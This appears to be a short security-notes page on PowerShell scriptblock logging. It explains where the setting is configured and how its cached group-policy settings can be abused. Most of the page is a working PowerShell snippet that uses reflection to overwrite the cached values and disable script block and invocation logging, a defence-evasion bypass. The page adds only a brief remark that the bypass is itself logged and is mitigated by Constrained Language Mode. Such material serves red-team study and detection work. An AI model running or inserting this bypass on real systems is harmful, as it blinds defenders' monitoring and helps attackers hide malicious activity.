Scriptblock Logging
We already talked about scriptblock logging here.
It's a feature introduced with PowerShellV5 that can be enabled via GPO (Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging
) or registry key (HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging - EnableScriptBlockLogging
).
If we look at the implementation we'll see that the logging settings are cached in a cachedGroupPolicySettings
object (probably for performance reasons) and one of the bypass techniques for scriptblock logging takes advantage of this caching part specifically: by overwriting the cached settings stored in
cachedGroupPolicySettings
scriptBlock.HasLogged
scriptBlock.ScriptBlockData.IsProductCode to indicate that logging is not enabled we're able to bypass it completely
$PSEventLog = Get-WinEvent -ListLog Microsoft-Windows-PowerShell/Operational
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$BypassValues = New-Object 'System.Collections.Generic.Dictionary[string,System.Object]'
$BypassValues.Add('EnableScriptBlockLogging', '0')
$BypassValues.Add('EnableScriptBlockInvocationLogging', '0')
$GroupPolicySettings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $BypassValues
Of course the bypass code will be logged (at minimum) since most PowerShell-specific bypasses require reflection which is mitigated by CLM enforcement.
Last updated